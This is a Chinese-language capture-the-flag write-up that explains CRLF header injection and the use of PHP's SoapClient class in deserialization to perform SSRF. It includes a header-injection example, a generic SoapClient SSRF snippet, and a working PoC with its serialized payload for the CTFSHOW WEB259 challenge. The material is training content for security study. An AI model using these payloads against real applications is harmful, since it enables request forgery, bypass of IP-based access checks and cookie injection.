前言
我们在代码审计时如果发现反序列化点,但在代码中却无法构造pop链,可以利用php内置类来进行反序列化
CRLF注入攻击
CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
例:一个正常的302跳转包是这样
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://purplet.top
但如果我们输入的是
http://purplet.top%0aSet-cookie:JSPSESSID%3Dpurplet
注入了一个换行,此时的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://purplet.top
Set-cookie: JSPSESSID=purplet
一个正常的POST请求包如下,每一行结尾是隐藏了一个%0D%0A,而POST传的值与Content-Length又隐藏了两个%0D%0A
POST /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: BEEFHOOK=i14TmylAFEDRj14Rr3hG03JXTwCUeiPtUCDfo2nkqF7i6VI2gh5WqNPWPPw7UrWamzVPx7py1OdIjgFD
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1,1,2
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
name=purplet
什么是Soap
SOAP是webService三要素(SOAP、WSDL、UDDI)之一:
- WSDL 用来描述如何访问具体的接口。
- UDDI用来管理,分发,查询webService。
- SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
PHP中的SoapClient类
PHP 的 SOAP 扩展可以用来提供和使用 Web Services,这个扩展实现了6个类,其中的SoapClient类是用来创建soap数据报文,与wsdl接口进行交互的,同时这个类下也是有反序列化中常常用到的__call()魔术方法。
该类的构造函数如下:
public SoapClient::SoapClient ( mixed $wsdl
[, array $options
] )
第一个参数是用来指明是否是wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
知道上述两个参数的含义后,就很容易构造出SSRF的利用payload了。
我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url,如下
<?php
$a = new SoapClient(null, array('location' => "http://xxx.xxx.xxx", 'uri' => "123"));
echo serialize($a);
?>
当把上述脚本得到的序列化串进行反序列化(unserialize),并执行一个SoapClient没有的成员函数时,会自动调用该类的__call方法,然后向target_url发送一个soap请求,并且uri选项是我们可控的地方。
补充:
Soap不是默认开启的,需要手动开启(extension=php_soap.dll)
需要触发__call方法才能进行SSRF
CTFSHOW反序列化WEB259
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
index.php
<?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag();
由于再最上面提到的直接访问题目分配的docker环境导致cloudfare代理出来作怪使我们在两次array_pop操作后无法获取到127.0.0.1因此我们需要使用SoapClient与CRLF实现SSRF访问127.0.0.1/flag.php,即可绕过cloudfare代理
构造POC代码如下:
<?php $target = 'http://127.0.0.1/flag.php'; $post_string = 'token=ctfshow'; $b = new SoapClient(null,array('location' => $target,'user_agent'=>'purplet^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf")); $a = serialize($b); $a = str_replace('^^',"\r\n",$a); echo urlencode($a); ?>
将得到的结果通过vip参数传递,传递的url编码内容解码后可以看到代码如下:
O:10:"SoapClient":4:{s:3:"uri";s:4:"ssrf";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:11:"_user_agent";s:130:"purplet X-Forwarded-For:127.0.0.1,127.0.0.1 Content-Type:+application/x-www-form-urlencoded Content-Length:+13 token=ctfshow";s:13:"_soap_version";i:1;}
相当于成功对127.0.0.1/flag.php文件发起了访问并携带token=ctfshow满足题目要求,成功将flag写入flag.txt文件,接着访问flag.txt得到flag。